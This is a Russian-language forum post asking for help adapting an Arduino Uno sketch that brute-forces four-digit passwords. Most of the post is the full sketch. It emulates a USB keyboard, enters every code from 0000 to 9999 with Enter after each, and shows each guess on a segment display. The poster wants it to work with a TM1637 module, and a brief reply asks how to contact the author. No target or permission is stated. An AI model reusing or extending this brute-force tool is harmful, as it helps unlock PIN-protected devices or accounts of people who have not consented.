Arduino UNO - Bruteforce - TM1637
- Войдите на сайт для отправки комментариев
Ср, 06/04/2016 - 16:46
Привет Всем.
Помогите пожалуйста. Есть АРДУИНО УНО. Хочу использовать для подбора четырех значных паролей.
Есть скрипт для подбора с статьи https://habrahabr.ru/post/240291/ Но там подключение через 28-сегментный индикатор. У меня же есть TM 1637. Никак не могу вывести данные на индикатор.
Помогите пожалуйста.
СКРИПТ КЛАВИАТУРЫ.
uint8_t buf[8] = { 0 }; // байт с информацией о «нажатой» клавише void setup() { Serial.begin(9600); // Устанавливаем скорость соединения pinMode(2, OUTPUT); // G pinMode(3, OUTPUT); // F pinMode(4, OUTPUT); // E pinMode(5, OUTPUT); // D pinMode(6, OUTPUT); // C pinMode(7, OUTPUT); // B pinMode(8, OUTPUT); // A pinMode(9, OUTPUT); // D4 pinMode(10, OUTPUT); // D3 pinMode(11, OUTPUT); // D2 pinMode(12, OUTPUT); // D1 // Так как модуль сегментных индикаторов имеет общий анод, то для того, чтобы // светился сегмент, вывод Arduino должно быть в высокоимпедансном состоянии // и наоборот // Выключаем все сегменты: digitalWrite(12, HIGH); digitalWrite(11, HIGH); digitalWrite(10, HIGH); digitalWrite(9, HIGH); delay(2000); // Пауза, чтобы «клавиатура» успела определиться в системе } void loop() { int dig1, dig2, dig3, dig4; // Цифры, которые будут последовательно вводиться int keys[10] = { 39, 30, 31, 32, 33, 34, 35, 36, 37, 38 }; // Массив с ASCII кодами цифер от 0 до 9 соответственно // Перебор с 0000 до 9999: for(dig1=0; dig1<10; dig1++) { for(dig2=0; dig2<10; dig2++) { for(dig3=0; dig3<10; dig3++) { for(dig4=0; dig4<10; dig4++) { pressKey(keys[dig1]); pressKey(keys[dig2]); pressKey(keys[dig3]); pressKey(keys[dig4]); pressKey(40); // Клавиша Enter // Текущий пароль будет отображаться в течение примерно 15-ти секунд (чуть больше времени задержки ввода) for(int i=0; i<1200; i++) { digLED(12, dig1); digLED(11, dig2); digLED(10, dig3); digLED(9, dig4); } } } } } } void pressKey(int dig) // Функция ввода { buf[2] = dig; Serial.write(buf, 8); // Нажать клавишу buf[0] = 0; buf[2] = 0; delay(20); Serial.write(buf, 8); // Отпустить клавишу delay(300); } // Возможно, существуют библиотеки для сегментных индикторов, но мне не захотелось с ними разбираться, // поэтому набросал свой алгоритм обхода сегментов индикатора void digLED(int pin, int dig) // Функция отображения цифер на индикаторе { digitalWrite(pin, LOW); switch(dig) { case 0: digitalWrite(8, LOW); digitalWrite(7, LOW); digitalWrite(6, LOW); digitalWrite(5, LOW); digitalWrite(4, LOW); digitalWrite(3, LOW); digitalWrite(2, HIGH); break; case 1: digitalWrite(8, HIGH); digitalWrite(7, LOW); digitalWrite(6, LOW); digitalWrite(5, HIGH); digitalWrite(4, HIGH); digitalWrite(3, HIGH); digitalWrite(2, HIGH); break; case 2: digitalWrite(8, LOW); digitalWrite(7, LOW); digitalWrite(6, HIGH); digitalWrite(5, LOW); digitalWrite(4, LOW); digitalWrite(3, HIGH); digitalWrite(2, LOW); break; case 3: digitalWrite(8, LOW); digitalWrite(7, LOW); digitalWrite(6, LOW); digitalWrite(5, LOW); digitalWrite(4, HIGH); digitalWrite(3, HIGH); digitalWrite(2, LOW); break; case 4: digitalWrite(8, HIGH); digitalWrite(7, LOW); digitalWrite(6, LOW); digitalWrite(5, HIGH); digitalWrite(4, HIGH); digitalWrite(3, LOW); digitalWrite(2, LOW); break; case 5: digitalWrite(8, LOW); digitalWrite(7, HIGH); digitalWrite(6, LOW); digitalWrite(5, LOW); digitalWrite(4, HIGH); digitalWrite(3, LOW); digitalWrite(2, LOW); break; case 6: digitalWrite(8, LOW); digitalWrite(7, HIGH); digitalWrite(6, LOW); digitalWrite(5, LOW); digitalWrite(4, LOW); digitalWrite(3, LOW); digitalWrite(2, LOW); break; case 7: digitalWrite(8, LOW); digitalWrite(7, LOW); digitalWrite(6, LOW); digitalWrite(5, HIGH); digitalWrite(4, HIGH); digitalWrite(3, HIGH); digitalWrite(2, HIGH); break; case 8: digitalWrite(8, LOW); digitalWrite(7, LOW); digitalWrite(6, LOW); digitalWrite(5, LOW); digitalWrite(4, LOW); digitalWrite(3, LOW); digitalWrite(2, LOW); break; case 9: digitalWrite(8, LOW); digitalWrite(7, LOW); digitalWrite(6, LOW); digitalWrite(5, LOW); digitalWrite(4, HIGH); digitalWrite(3, LOW); digitalWrite(2, LOW); break; } delay(3); digitalWrite(pin, HIGH); }
Как я могу связаться с автором?
есть несколько вопросов, нужна помощ